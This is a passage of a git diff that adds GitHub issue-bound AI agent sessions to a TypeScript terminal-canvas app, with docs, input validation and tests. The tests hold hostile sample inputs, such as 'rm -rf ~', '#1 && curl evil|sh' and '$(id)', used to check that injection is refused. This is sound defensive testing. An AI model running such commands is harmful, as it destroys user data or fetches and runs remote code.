Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.
TypeScript adhdagent-orchestrationai-agentscanvasclaude-codecodexcoding-agentsdeveloper-toolselectrongeminilinuxmacosmultiplexeropencodeparallel-agentsterminalterminal-emulatorterminal-multiplexertmuxworkspace-manager
feat(kanban): start an agent from a GitHub issue card
review664b696ab2e4
diff --git a/CLAUDE.md b/CLAUDE.mdindex 68338b707..02324face 100644--- a/CLAUDE.md+++ b/CLAUDE.md@@ -3059,6 +3059,24 @@ command-bearing opens; this does not add a human-confirm dialog or change mobileunsupported cross-project boundary, without probing other projects or exposing their metadata.Callers that create and link nodes **in the same tick** must pass their own `lookup` — `setNodes`is async, so resolving fresh nodes off `nodesRef` would skip every one as "no such node".+ **Issue-bound opens (`--issue`, 2026-09-28):** `open-agent`/`open-claude --issue <owner/repo#N |+ #N>` binds the new session to a GitHub issue exactly like the board's **Start with agent**. The+ SHAPE is refused by ONE gate, `issueFlagRefusal` (`canvas-control-core.ts`), which desktop MAIN+ runs in its control handler (desktop main does not run `parseControlRequest` at all — do not move+ the gate there alone) and the Server Edition runs inside `parseControlRequest`; any other verb+ carrying `--issue` is refused, not ignored. `#N` is resolved by each shell against the project the+ node OPENS IN (the `--project` target, the cold-open owner, or `ctlProject`) — the repository its+ kanban board syncs with, i.e. the GitHub host controller's answer (configured, else detected) —+ and a project with no GitHub board refuses `#N` and names the full form (`lib/issueFlag.ts`,+ `HeadlessNodeFactoryDeps.issueRepository`). Resolution runs BEFORE each path's dry-run branch.+ `--prompt` is appended after the reference line; `--prompt-file` stays the whole brief. Both+ generated agent bodies render the contract from `issueBindingDocLines` (the example first prompt+ is rendered from `issueLaunchPrompt` itself): move your OWN card with `assign` (In Progress on+ start, In Review on delivery), never close the issue, never Done, `Closes #N` in a PR, and **post+ to GitHub only when the user asked in that session — otherwise end with a proposed comment**.+ nodeterm has no automatic post-to-issue path and must not grow one. `list` marks a bound row+ `issue owner/repo#N`. Server Edition: `open-agent --issue` works under its verified-only,+ creator-owned rules and writes the run history; `assign` is unsupported there (the skill says so).**Dependency edges (`--after`, 2026-07):** `open-terminal`/`open-claude`/`open-agent` accept`--after <id,id>`, which opens the node **armed** — `data.pendingLaunch` ({after, command},`PendingLaunch` in shared/types) holds the launch the factory built, and Canvas fires it once@@ -5047,6 +5065,40 @@ the Settings section and ShortcutsPanel start disagreeing about what a chord meadropped, so only a full reconciliation may clear it. **(3)** the `pulls` source is `readOnly` inthe registry: no drag, no move control, and its page reports `readOnly: true` on the wire ratherthan trusting every consumer to remember.+ **Start with agent — a GitHub issue card starts a bound session** (2026-09-28). An issue card's+ right-click menu and its summary modal offer **Start with agent ▸**, whose rows are the canvas's+ own agent + account picker (`agentCreationEntries`, which takes an optional `pick` so the same+ rows can point at another action — never a fourth copy of the picker). The result is an ordinary+ agent node in the project cwd (through `addAgentNode`, which now returns the node) carrying+ `data.issueRef {owner, repo, number}` — persisted, git-shared, therefore hostile:+ `normalizeIssueRef` (`@shared/github-issue-ref`) runs at BOTH serializer seams and a malformed+ value is dropped (the node survives, only the binding goes). Rules a refactor must not undo:+ (1) **the launch line carries the REFERENCE, never the issue's text** — titles and bodies are+ writable by anyone on a public repository and a launch line is typed into a pane.+ `issueLaunchPrompt` is the ONE place a reference becomes text; it re-validates the reference+ itself and returns nothing for a hostile one. The prompt tells the agent to read the issue with+ `gh issue view N --repo owner/repo --comments`; the agent pulls the context. Proven under a real+ `/bin/sh` (`github-issue-ref.realsh.test.ts`). (2) **The reference comes from the card's+ `htmlUrl`** (`issueRefFromHtmlUrl`, which also requires the URL's number to equal the card's).+ (3) **`done` never moves a card**: it means a turn ended, not that the work did. The issue card+ shows every bound session as a live chip (`IssueRunChips`, subscribed per node to a PRIMITIVE+ signature `issueRunChipSig` — never `s.byId`), RUNNING / NEEDS YOU / TURN FAILED / DROPPED plus+ unread; a click opens that session's card. A card moves only when the session `assign`s itself or+ a person drags it. (4) **Board-log identity of an issue card** is the synthetic id+ `github-issue:<owner>/<repo>#<N>` (lower-cased, `issueLogId`) — a namespace no node id can reach.+ Under it: `run-started` (UI start, `--issue` open) and `run-ended` (written by EVERY node-removal+ funnel — `deleteNodes`, `closeStoredNodes`, the Omni delete, the Server `close` — before it drops+ the node's agent status, with the last observed state). The summary modal shows it read-only as+ "Agent runs" (no composer: a comment box under an issue reads as "post to GitHub"). **No cost or+ token figure** is recorded: there is no cumulative per-session number, and a context-window+ reading is not one. (5) The new session card is filed under the issue card's column (the same+ unpruned direct write `createNodeInColumn` uses); the node header and the session card show a+ `#N` chip (`IssueRefChip`) that opens the issue on the board (`openIssueOnBoard` →+ `viewMode.requestedIssue`), falling back to GitHub when the board cannot show it — never a dead+ click. No "start in a new worktree" UI yet: compose `open-worktree` + `open-agent --group --issue`+ (the skill says how). Surfaces: Desktop + Server Edition (renderer + core); Omni board shows no+ issue lanes; **Mobile does not render the binding** — `issueRef` reaches the phone inside the+ project file, and nodeterm-ios ignores the unknown field (follow-up there).**Where a card comes from is a registry, not a branch per call site** (`renderer/lib/kanbanSources.ts`,2026-08-30 — the same membership-plus-one-leaf discipline `AGENT_CONFIG` uses): each entry declaresits filter `label`, its `placement` (`assignment` = the board's own persisted assignments,diff --git a/CONTRIBUTING.md b/CONTRIBUTING.mdindex aa82a474e..7e5b7f0a8 100644--- a/CONTRIBUTING.md+++ b/CONTRIBUTING.md@@ -141,6 +141,14 @@ lane unaffected.from a background header: only the active SSH project is git-routable. SSH headers observeSource refreshes instead.+- **A GitHub issue reaches a pane only as a validated reference.** Issue titles and bodies are+ written by strangers on public repositories, and a launch line is typed into a shell. Anything+ that starts or instructs an agent about an issue goes through `@shared/github-issue-ref`:+ `issueLaunchPrompt` (the only composer, which re-validates `owner/repo#N` itself) for text, and+ `normalizeIssueRef` wherever a stored `issueRef` is read — it comes from a git-shared file. Never+ interpolate `issue.title`/`issue.body` into a prompt, and never add a path that posts an agent's+ output to GitHub on its own: posting is public, and only the user asks for it.+- **Hook decision JSON is built in core, never in the renderer or the script.** To answer a heldClaude permission request with more than `allow`/`deny` (a plan's follow-on mode, a question'sanswers), send a `PermissionAnswer` through `answerPermission`; `core/agents/permission-decision.ts`diff --git a/src/core/canvas-control-core.ts b/src/core/canvas-control-core.tsindex 27e8cf003..3d5ac8cac 100644--- a/src/core/canvas-control-core.ts+++ b/src/core/canvas-control-core.ts@@ -15,6 +15,7 @@ import { BROWSER_KEYS, BROWSER_TIMEOUT_DEFAULT_MS, BROWSER_TIMEOUT_MAX_MS } fromimport { nodeColorChoices } from '@shared/node-colors'import { offScreenGuidanceLines } from '@shared/control-off-screen'import { codexThreadIdentityResolverSh } from './codex-thread-identity-sh'+import { ISSUE_SESSION_COLUMNS, issueLaunchPrompt, parseIssueArg } from '../shared/github-issue-ref'/*** The messaging verbs' retry guidance, RENDERED from `RETRYABLE` — the table is the source, and@@ -42,6 +43,40 @@ function messagingGuidanceLines(): string[] {* lands in the text an agent reads the day it changes, and `canvas-control-core.test.ts` walks the* real table against both bodies.*/+/**+ * The `--issue` flag and the contract an issue-bound session keeps — ONE definition rendered into+ * both agent-facing bodies. The example launch prompt is RENDERED from `issueLaunchPrompt`, the+ * function that composes the real one, so the text an agent reads about its first prompt cannot+ * drift from the prompt it is actually given. `canvas-control-core.test.ts` pins every clause.+ */+function issueBindingDocLines(): string[] {+ const { started, delivered } = ISSUE_SESSION_COLUMNS+ const example = issueLaunchPrompt({ owner: 'owner', repo: 'repo', number: 123 })+ return [+ 'Issue-bound sessions (`--issue`):',+ '- `open-agent --agent <id> --issue <owner/repo#N | #N>` (and `open-claude --issue …`) starts a session ON',+ ' a GitHub issue. The node is bound to it — the issue\'s card on the kanban board shows the session live,',+ ' and the node header shows `#N` — and the launch prompt carries ONLY the reference, never the issue\'s',+ ' title or body (anyone can write those on a public repository, and the launch line is typed into a pane).',+ ` The session\'s first prompt is exactly: "${example}" — it reads the issue itself.`,+ ' `#N` means the repository this project\'s kanban board syncs with; with no repository configured it is',+ ' refused — pass `owner/repo#N`. The value must be exactly `owner/repo#N` or `#N`: anything else is refused,',+ ' never repaired. `--prompt` is appended after the issue line; with `--prompt-file` the file is the whole',+ ' brief, so name the issue in it. `--dry-run` reports the resolved reference. For a branch per issue:',+ ' `open-worktree --branch issue-<N>-<slug>`, then `open-agent --agent <id> --group <groupId> --issue #N`.',+ '- If YOUR session was started on an issue (your first prompt names it; `list` marks your row',+ ' `issue owner/repo#N`), keep this contract:',+ ` - Move your OWN card: \`assign --node "$NODETERM_NODE_ID" --column "${started}"\` when you start on the ask,`,+ ` and \`--column "${delivered}"\` when you deliver. No such column? \`board\` lists them — pick the closest, never Done.`,+ ' - Never close the GitHub issue and never move a card to Done: done stays human.',+ ' - A pull request you open says `Closes #N` in its body (`Closes owner/repo#N` from another repository).',+ ' - Posting to GitHub is outward-facing and PUBLIC. Post an issue comment or open a pull request ONLY when',+ ' the user asked for it in this session; otherwise end with a proposed comment the user can post.',+ ' - The end of a turn moves nothing: your card moves only when you `assign` it or the user drags it.',+ ' - The Server Edition has no `assign` verb — skip the card moves there.'+ ]+}+function settingsVerbDocLines(): string[] {const keys = SETTINGS_VERB_KEY_LIST.map((key) => {const { scope, type } = SETTINGS_VERB_KEYS[key]@@ -299,6 +334,23 @@ function dryRunDocLines(): string[] {]}+/**+ * The `--issue` SHAPE gate, shared by both shells: the Server Edition runs it inside+ * `parseControlRequest`, and desktop main runs it in its control handler before forwarding (desktop+ * main does not run `parseControlRequest` at all). A plain terminal cannot read an issue and no other+ * verb gives the flag a meaning, so it is refused rather than silently ignored. What `#N` RESOLVES to+ * is each shell's own question — only the shell knows the project's repository — and both answer it+ * with the same `resolveIssueArg`, which re-parses: this gate is the early half, never the only one.+ */+export function issueFlagRefusal(verb: string, args: Record<string, string | undefined>): string | null {+ if (args.issue === undefined) return null+ if (verb !== 'open-agent' && verb !== 'open-claude') {+ return `${verb}: --issue applies only to open-agent / open-claude (an agent session reads the issue itself)`+ }+ const issue = parseIssueArg(args.issue)+ return issue.ok ? null : `${verb}: ${issue.error}`+}+/** Validate a raw (verb, args) pair into a ControlCommand, or return an { error }. */export function parseControlRequest(verb: string,@@ -317,6 +369,8 @@ export function parseControlRequest(}if (v === 'open-browser' && !args.url) return { error: 'open-browser requires --url' }if (v === 'open-agent' && !args.agent) return { error: 'open-agent requires --agent <id>' }+ const issueRefusal = issueFlagRefusal(v, args)+ if (issueRefusal) return { error: issueRefusal }if ((v === 'group' || v === 'arrange') && !args.nodes) return { error: `${v} requires --nodes <id,id>` }if (v === 'ungroup' && !args.group) return { error: 'ungroup requires --group <id>' }if (v === 'move' && !args.nodes) return { error: 'move requires --nodes <id,id>' }@@ -426,8 +480,8 @@ export function buildCanvasControlInstructions(shimPath: string): string {'- `list` — current nodes (id, kind, title). Start here when you need a node id.','- `help` — print the verb list. Answered by the shim itself, so it works even if the app is down.','- `open-terminal [--count N] [--cwd P] [--cmd C] [--group <id>] [--after <id,id>] [--project <id>]` — open N plain terminals. `--cmd` requires verified node identity.',- '- `open-claude [--count N] [--cwd P] [--prompt T | --prompt-file F] [--model M] [--group <id>] [--after <id,id>] [--project <id>]` — open N Claude sessions.',- `- \`open-agent --agent ${agentChoices} [--count N] [--cwd P] [--prompt T | --prompt-file F] [--model M] [--group <id>] [--after <id,id>] [--project <id>]\` — open`,+ '- `open-claude [--count N] [--cwd P] [--prompt T | --prompt-file F] [--model M] [--group <id>] [--after <id,id>] [--project <id>] [--issue <owner/repo#N | #N>]` — open N Claude sessions.',+ `- \`open-agent --agent ${agentChoices} [--count N] [--cwd P] [--prompt T | --prompt-file F] [--model M] [--group <id>] [--after <id,id>] [--project <id>] [--issue <owner/repo#N | #N>]\` — open`,' any agent CLI. `--group` parents the node(s) into a group frame; a worktree-bound group also',' hands its worktree path down as the cwd. `--after <id,id>` opens the node ARMED: it does not',' start until every listed station has finished a turn SUCCESSFULLY. It is',@@ -479,6 +533,7 @@ export function buildCanvasControlInstructions(shimPath: string): string {' and copilot (and custom agents based on them); any other agent ignores it and launches',' exactly as it would without the flag. The id is passed to the CLI as-is, so a name that',' agent does not recognise fails inside the session, not at open time — name a model you know.',+ ...issueBindingDocLines(),'- `open-project --cwd </abs/path> [--name N] [--color C]` — register (or find) the project for a',' local directory; the reply carries `{ projectId, name, cwd, created }`. Idempotent: the same',' cwd always returns the same project, never a duplicate. Creating/adding asks the user to',@@ -884,8 +939,8 @@ Verbs:- \`help\` — print the verb list. The shim answers this itself, without reaching the app, so itis also what to run when you are unsure whether the control endpoint is alive.- \`open-terminal [--count N] [--cwd P] [--cmd C] [--group <id>] [--after <id,id>] [--project <id>]\` — open N plain terminals (default 1). \`--cmd\` requires verified node identity.-- \`open-claude [--count N] [--cwd P] [--prompt T | --prompt-file F] [--model M] [--group <id>] [--after <id,id>] [--project <id>]\` — open N Claude sessions (default 1).-- \`open-agent --agent ${agentChoices} [--count N] [--cwd P] [--prompt T | --prompt-file F] [--model M] [--group <id>] [--after <id,id>] [--project <id>]\` — open N sessions of any agent CLI.+- \`open-claude [--count N] [--cwd P] [--prompt T | --prompt-file F] [--model M] [--group <id>] [--after <id,id>] [--project <id>] [--issue <owner/repo#N | #N>]\` — open N Claude sessions (default 1).+- \`open-agent --agent ${agentChoices} [--count N] [--cwd P] [--prompt T | --prompt-file F] [--model M] [--group <id>] [--after <id,id>] [--project <id>] [--issue <owner/repo#N | #N>]\` — open N sessions of any agent CLI.\`--group\` parents the node(s) into an existing group frame; a worktree-bound group alsohands its worktree path down as the cwd.\`--after <id,id>\` opens the node **armed**: it does NOT start yet, and launches itself once@@ -957,6 +1012,7 @@ Verbs:as it would have — the flag is never an error, so a mixed fan-out needs no special-casing. Theid goes to the CLI verbatim: an unknown name fails inside the session on its first turn, not atopen time, so name a model you know that CLI accepts rather than guessing.+${issueBindingDocLines().join('\n')}- \`open-project --cwd </abs/path> [--name N] [--color C]\` — register (or find) the project for alocal directory; the reply carries \`{ projectId, name, cwd, created }\`. Idempotent: the samecwd always returns the same project, never a duplicate — and \`--name\`/\`--color\` apply onlydiff --git a/src/core/github/github-issue-ref.config-agreement.test.ts b/src/core/github/github-issue-ref.config-agreement.test.tsnew file mode 100644index 000000000..2b6defc81--- /dev/null+++ b/src/core/github/github-issue-ref.config-agreement.test.ts@@ -0,0 +1,44 @@+import { describe, expect, it } from 'vitest'+import { parseGitHubRepository } from './config'+import { resolveIssueArg } from '../../shared/github-issue-ref'++// Two parsers read an `owner/repo` slug: the board's repository config (core) and the issue+// reference grammar (shared, used by the renderer and both shells). They are separate files so+// each side can be read on its own, which makes agreement a property to PIN rather than assume —+// a `#N` resolved against a repository the board accepts must never be refused, and a slug the+// board refuses must never become a launch-line reference.+const CORPUS = [+ 'eneskirca/nodeterm',+ 'a/b',+ 'A1-b2/x_y.z-w',+ 'a-b/.github',+ 'o/..',+ 'o/.',+ 'o/-r',+ '-o/r',+ 'o-/r',+ 'o/r;rm',+ 'o/r`id`',+ 'o/r$(id)',+ 'o /r',+ 'o/r/x',+ 'o',+ '',+ `${'x'.repeat(39)}/r`,+ `${'x'.repeat(40)}/r`,+ `o/${'r'.repeat(100)}`+]++describe('issue-reference grammar agrees with the board repository parser', () => {+ it.each(CORPUS)('%j', (slug) => {+ // `parseGitHubRepository` also accepts URLs and strips `.git`; compare only on the canonical+ // `owner/repo` form it returns, which is what the renderer is handed as the project repository.+ const board = parseGitHubRepository(slug)+ const issue = resolveIssueArg('#1', slug)+ if (board === slug) {+ expect(issue.ok).toBe(true)+ } else {+ expect(issue.ok).toBe(false)+ }+ })+})diff --git a/src/main/canvas-control-core.test.ts b/src/main/canvas-control-core.test.tsindex 4807696e2..d847fb1f9 100644--- a/src/main/canvas-control-core.test.ts+++ b/src/main/canvas-control-core.test.ts@@ -1006,3 +1006,72 @@ describe('trigger wording does not claim in-process subagent requests (issue #91expect(skill).toMatch(/independent workstreams step 0 identified/)})})++describe('--issue: GitHub issue-bound sessions', () => {+ it('accepts owner/repo#N and #N on the two agent-open verbs', () => {+ expect(parseControlRequest('open-agent', { agent: 'claude', issue: 'eneskirca/nodeterm#42' })).toEqual({+ verb: 'open-agent',+ args: { agent: 'claude', issue: 'eneskirca/nodeterm#42' }+ })+ expect(parseControlRequest('open-claude', { issue: '#7' })).toMatchObject({ verb: 'open-claude' })+ })++ it.each([+ 'o/r#1; rm -rf ~',+ 'o/r#`id`',+ 'o/r#$(id)',+ '$(id)/r#1',+ 'o/r#1\nrm -rf ~',+ '#1 && curl evil|sh',+ 'o/r',+ ''+ ])('refuses a hostile or malformed reference %j before any shell sees it', (issue) => {+ const r = parseControlRequest('open-agent', { agent: 'claude', issue })+ expect(r).toHaveProperty('error')+ expect((r as { error: string }).error).toMatch(/^open-agent: --issue must be/)+ })++ it('refuses --issue on a verb that cannot read an issue, rather than silently ignoring it', () => {+ expect(parseControlRequest('open-terminal', { issue: '#1' })).toEqual({+ error: 'open-terminal: --issue applies only to open-agent / open-claude (an agent session reads the issue itself)'+ })+ expect(parseControlRequest('assign', { node: 'n1', issue: '#1' })).toHaveProperty('error')+ })++ // The skill and the marker block are what an agent actually reads. Walk BOTH, and red on any+ // clause of the contract that goes missing — a doc line with no test is a plan, not a fact.+ const bodies: Array<[string, string]> = [+ ['skill body', buildCanvasSkillBody('/x/nodeterm.sh')],+ ['instructions block', buildCanvasControlInstructions('/x/nodeterm.sh')]+ ]++ it.each(bodies)('%s documents the flag on both open verbs', (_name, body) => {+ expect(body).toMatch(/open-claude [^\n]*\[--issue <owner\/repo#N \| #N>\]/)+ expect(body).toMatch(/open-agent --agent [^\n]*\[--issue <owner\/repo#N \| #N>\]/)+ })++ it.each(bodies)('%s states the reference-only launch prompt, rendered from the real composer', (_name, body) => {+ expect(body).toContain('carries ONLY the reference, never the issue\'s')+ expect(body).toContain('You are working on GitHub issue owner/repo#123.')+ expect(body).toContain('gh issue view 123 --repo owner/repo --comments')+ expect(body).toMatch(/with no repository configured it is\s+refused/)+ })++ it.each(bodies)('%s pins the status + write-back contract', (_name, body) => {+ const flat = body.replace(/\s+/g, ' ')+ expect(flat).toContain('assign --node "$NODETERM_NODE_ID" --column "In Progress"')+ expect(flat).toContain('--column "In Review"')+ expect(flat).toContain('never Done')+ expect(flat).toContain('Never close the GitHub issue and never move a card to Done: done stays human.')+ expect(flat).toContain('Closes #N')+ expect(flat).toContain('Posting to GitHub is outward-facing and PUBLIC.')+ expect(flat).toContain('ONLY when the user asked for it in this session')+ expect(flat).toContain('otherwise end with a proposed comment the user can post')+ expect(flat).toContain('The end of a turn moves nothing')+ })++ it.each(bodies)('%s never promises an automatic post to GitHub', (_name, body) => {+ expect(body).not.toMatch(/automatically (post|comment|close)/i)+ expect(body).not.toMatch(/nodeterm (posts|comments|closes)/i)+ })+})diff --git a/src/main/index.ts b/src/main/index.tsindex baa1cb1db..d074f7581 100644--- a/src/main/index.ts+++ b/src/main/index.ts@@ -265,6 +265,7 @@ import { initContextLink, setNodeTranscript } from '../core/context-link'import { transcriptPathOf } from '../core/context-link-core'import { initCanvasControl, installCanvasSkillInto } from './canvas-control'import { DRY_RUN_VERBS, dryRunRequested, dryRunRefusal } from '../shared/control-verbs'+import { issueFlagRefusal } from '../core/canvas-control-core'import { CONTROL_REQUEST_TIMEOUT_MS } from '../shared/control-confirm'import { initTranscriptIndex, searchTranscripts } from '../core/transcript-index'import { initTelemetry } from './telemetry'@@ -3676,6 +3677,11 @@ app.whenReady().then(async () => {const msg = dryRunRefusal(verb)return { ok: false, error: msg, message: msg }}+ // `--issue` (a GitHub issue reference for a new agent session): its shape is refused HERE,+ // before the renderer ever sees it, by the same gate the Server Edition's parser runs. The+ // renderer resolves `#N` against the project's repository and re-parses with the same grammar.+ const issueRefusal = issueFlagRefusal(verb, args)+ if (issueRefusal) return { ok: false, error: issueRefusal, message: issueRefusal }// `browser` is answered in MAIN and never forwarded to the renderer's agent-control dispatch:// the debugger handle and the CDP allowlist are main-side, and the renderer is the more// attackable half. Every other verb still round-trips to the renderer below.diff --git a/src/renderer/canvas/Canvas.tsx b/src/renderer/canvas/Canvas.tsxindex 8552a5f2c..330f719e0 100644--- a/src/renderer/canvas/Canvas.tsx+++ b/src/renderer/canvas/Canvas.tsx@@ -466,6 +466,16 @@ import { AgentIcon } from '../lib/agentIcons'import { nodeIconDialog } from '../components/NodeIconPicker'import { applyIconChoice } from '../lib/nodeIconChoice'import type { NodeIcon } from '@shared/node-icon'+import {+ formatIssueRef,+ issueLaunchPrompt,+ issueRefFromHtmlUrl,+ normalizeIssueRef,+ type IssueRef+} from '@shared/github-issue-ref'+import { runEndedEntry, runStartedEntry } from '../lib/issueRuns'+import { resolveIssueFlagFor, type IssueFlagResult } from '../lib/issueFlag'+import type { GitHubIssueCardView } from '@shared/github-issues'import { branchClaudeSession } from '../lib/claudeBranch'import {useSession,@@ -4887,8 +4897,12 @@ export function Canvas() {// `null` = the user EXPLICITLY picked the System account row: resolveNewNodeAccount then// skips the project default instead of treating the pick as "no pick" (#419).accountId?: string | null,- initialPrompt?: string- ) => {+ initialPrompt?: string,+ // A GitHub issue binding (Start with agent on an issue card). Stamped on the node AFTER the+ // factory: it drives chips and run history only — the launch prompt was already composed+ // from it by `issueLaunchPrompt`, the one place a reference may become text in a pane.+ extra?: { issueRef?: IssueRef }+ ): CanvasNode | undefined => {// Resolve the target project LIVE, at click time — never from this callback's render// closure. Menu onClick closures outlive the render that built them (`setMenu` freezes// them into state), and the sessions-sidebar "+" deliberately switches projects before@@ -4944,35 +4958,38 @@ export function Canvas() {console.info(`[nodeterm] node-create agent=${agentId} project=${targetProjectId} group=${groupId ?? '-'} cwd=${cwd ?? '-'}`)- setNodes((ns) => {- // The default gateway model applies ONLY when the launch mode asks for it- // (`agentLaunchMode === 'gateway-model'`). 'gateway' launches with the CLI's own default- // model, and 'subscription' strips the gateway entirely so its model is moot. Gated on- // `canSwitchModel` (base-resolved) so a non-capable agent is left model-less.- const settings = useSettings.getState().settings- const model =- settings.agentLaunchMode === 'gateway-model' &&- settings.modelGatewayDefaultModel &&- canSwitchModel(agentId)- ? settings.modelGatewayDefaultModel- : undefined- const node = createAgentNode(- agentId,- ns.length,- cwd,- center ?? emptyNodePos(),- initialPrompt,- project?.ssh,- account,- activePermissionMode(agentId),- // Same funnel as the account above: the active project owns the node, so its own- // `.nodeterm/settings.json` launch command layers over the global one.- targetProjectId,- model- )- return [...ns, groupId ? parentInto(node, groupId) : node]- })+ // The default gateway model applies ONLY when the launch mode asks for it+ // (`agentLaunchMode === 'gateway-model'`). 'gateway' launches with the CLI's own default+ // model, and 'subscription' strips the gateway entirely so its model is moot. Gated on+ // `canSwitchModel` (base-resolved) so a non-capable agent is left model-less.+ const settings = useSettings.getState().settings+ const model =+ settings.agentLaunchMode === 'gateway-model' &&+ settings.modelGatewayDefaultModel &&+ canSwitchModel(agentId)+ ? settings.modelGatewayDefaultModel+ : undefined+ // Built OUTSIDE the setNodes updater so the caller gets the node back (the board assigns the+ // new card to a column and files its run history under it); `createNodeInColumn` does the same.+ const created = createAgentNode(+ agentId,+ nodesRef.current.length,+ cwd,+ center ?? emptyNodePos(),+ initialPrompt,+ project?.ssh,+ account,+ activePermissionMode(agentId),+ // Same funnel as the account above: the active project owns the node, so its own+ // `.nodeterm/settings.json` launch command layers over the global one.+ targetProjectId,+ model+ )+ const issueRef = normalizeIssueRef(extra?.issueRef)+ const node = issueRef ? { ...created, data: { ...created.data, issueRef } } : created+ setNodes((ns) => [...ns, groupId ? parentInto(node, groupId) : node])markDirty()+ return node},[setNodes,@@ -5410,6 +5427,21 @@ export function Canvas() {)// ---- multi-node actions (context menu) ----+ /** File `run-ended` under a closed node's issue card, with the last state it was seen in. Every+ * node-removal funnel calls this BEFORE it drops the node's agent status (the last instant the+ * live session id and state exist). A node with no valid binding logs nothing. */+ const logIssueRunEnded = useCallback(+ (+ projectId: string,+ node: { id: string; title?: string; agentId?: string; agentSessionId?: string; issueRef?: unknown }+ ) => {+ if (!node.issueRef) return+ const entry = runEndedEntry(node.issueRef, node, useAgentStatus.getState().byId[node.id])+ if (entry) useBoardLog.getState().append(api, projectId, entry)+ },+ [api]+ )+const deleteNodes = useCallback((ids: string[], opts?: { record?: boolean }) => {const set = new Set(ids)@@ -5466,6 +5498,17 @@ export function Canvas() {}nodesRef.current.forEach((n) => {if (!set.has(n.id)) return+ // A session started on a GitHub issue: its run ends HERE (a turn ending never does). Read+ // before `useAgentStatus.remove` below — the last observed state goes with it.+ if (n.data.issueRef) {+ logIssueRunEnded(useProjects.getState().activeProjectId ?? '', {+ id: n.id,+ title: n.data.title as string | undefined,+ agentId: n.data.agentId as string | undefined,+ agentSessionId: n.data.agentSessionId as string | undefined,+ issueRef: n.data.issueRef+ })+ }// Permanent delete: the upcoming unmount must dispose the xterm, not park it (the// session is being destroyed right here). Also drops an already-parked entry.if (n.type === 'terminal')@@ -5527,7 +5570,7 @@ export function Canvas() {)}},- [setNodes, markDirty, refreshWorktreeStore, releaseWorktreeBinding]+ [setNodes, markDirty, refreshWorktreeStore, releaseWorktreeBinding, logIssueRunEnded])/** `canvas.deleteSelection` (Delete / Backspace): confirm-then-delete the selected nodes, or —@@ -8997,7 +9040,23 @@ export function Canvas() {* a decision `isPinnedAgentEntry` makes from the id and the row's own shape, never from a* hardcoded agent name here. */const agentCreationEntries = useCallback(- (at?: { x: number; y: number }, groupId?: string): AgentAddEntry[] => {+ (+ at?: { x: number; y: number },+ groupId?: string,+ // The same picker, pointed at another action: "Start with agent ▸" on a GitHub issue card+ // reuses these rows (accounts, the ✓ default, the fail-closed Codex gate) instead of growing+ // a fourth copy. Absent = the historical "New <agent>" rows that create a node at `at`.+ pick?: {+ onPick: (agentId: AgentId, accountId?: string | null) => void+ label?: (agentLabel: string) => string+ }+ ): AgentAddEntry[] => {+ const create = (aid: AgentId, acct?: string | null): void => {+ if (pick) pick.onPick(aid, acct)+ else addAgentNode(aid, at, groupId, acct)+ }+ const rowLabel = (agentLabel: string): string =>+ pick?.label ? pick.label(agentLabel) : `New ${agentLabel}`const disabled = useSettings.getState().settings.disabledAgents// Read the active project LIVE from the store (not the closure value) so a menu built right// after a `switchProject` — e.g. the sessions-sidebar "+" opening this menu on a non-active@@ -9042,19 +9101,19 @@ export function Canvas() {if (aid === 'claude' && (accounts.length > 0 || accountsHint)) {return {type: 'submenu',- label: `New ${AGENT_CONFIG[aid].label}`,+ label: rowLabel(AGENT_CONFIG[aid].label),icon: <AgentIcon agentId={aid} />,children: [{label: withDefaultMark(systemLabel),icon: <AgentIcon agentId="claude" />,- onClick: () => addAgentNode('claude', at, groupId, null)+ onClick: () => create('claude', null)},...accounts.map((a): MenuItem => ({label: withDefaultMark(a.label, a.id),icon: <AgentIcon agentId="claude" />,- onClick: () => addAgentNode('claude', at, groupId, a.id)+ onClick: () => create('claude', a.id)})),...(accountsHint@@ -9077,13 +9136,13 @@ export function Canvas() {if (aid === 'codex' && codexAccountsHere.length > 0) {return {type: 'submenu',- label: `New ${AGENT_CONFIG[aid].label}`,+ label: rowLabel(AGENT_CONFIG[aid].label),icon: <AgentIcon agentId={aid} />,children: [{label: codexSystemLabel,icon: <AgentIcon agentId="codex" />,- onClick: () => addAgentNode('codex', at, groupId)+ onClick: () => create('codex')},...codexAccountsHere.map((a): MenuItem => {const sel = codexAccountSelectable(@@ -9100,16 +9159,16 @@ export function Canvas() {: sel.reason === 'no-connection'? 'This account lives on a host that is not connected — connect its SSH project first.': 'This account is no longer available.',- onClick: () => addAgentNode('codex', at, groupId, a.id)+ onClick: () => create('codex', a.id)}})]}}return {- label: `New ${AGENT_CONFIG[aid].label}`,+ label: rowLabel(AGENT_CONFIG[aid].label),icon: <AgentIcon agentId={aid} />,- onClick: () => addAgentNode(aid, at, groupId)+ onClick: () => create(aid)}}return [@@ -9123,9 +9182,9 @@ export function Canvas() {(c): AgentAddEntry => ({agentId: c.id,item: {- label: `New ${c.label}`,+ label: rowLabel(c.label),icon: <AgentIcon agentId={c.id} />,- onClick: () => addAgentNode(c.id, at, groupId)+ onClick: () => create(c.id)}}))@@ -9695,6 +9754,75 @@ export function Canvas() {[emptyNodePos, setNodes, markDirty, seedBoard, api])+ // ---- GitHub issue → agent session ("Start with agent ▸") ----+ /**+ * Start an agent on a GitHub issue card: a normal agent node in the project cwd, bound to the+ * issue (`data.issueRef`), launched with a prompt that carries only the REFERENCE — the issue's+ * title and body are attacker-writable on a public repository and never reach the pane; the+ * agent reads them itself with `gh`. The reference comes from the card's GitHub URL and is+ * validated before anything is created; a card whose URL does not parse starts nothing.+ *+ * The new session card is filed under the issue card's column (board metadata only — the same+ * unpruned direct write `createNodeInColumn` uses, for the same reason: the fresh node is not in+ * the derived session list yet). The issue card's run history gets `run-started`.+ */+ const startIssueAgent = useCallback(+ (issue: GitHubIssueCardView, agentId: AgentId, accountId?: string | null) => {+ const ref = issueRefFromHtmlUrl(issue.htmlUrl, issue.number)+ const prompt = ref ? issueLaunchPrompt(ref) : undefined+ if (!ref || !prompt) {+ setNotice({+ kind: 'error',+ text: `Could not start an agent on #${issue.number}: its GitHub address could not be read. Nothing was started.`+ })+ return+ }+ const node = addAgentNode(agentId, undefined, undefined, accountId, prompt, { issueRef: ref })+ if (!node) return // addAgentNode already said why+ const nodeId = node.id+ const targetProjectId = useProjects.getState().activeProjectId+ const project = useProjects.getState().getProject(targetProjectId)+ const board = project?.kanban ?? seedBoard+ const column = issue.columnId ? board.columns.find((c) => c.id === issue.columnId) : undefined+ if (column) {+ useProjects.getState().setProjectKanban(targetProjectId, assignNode(board, 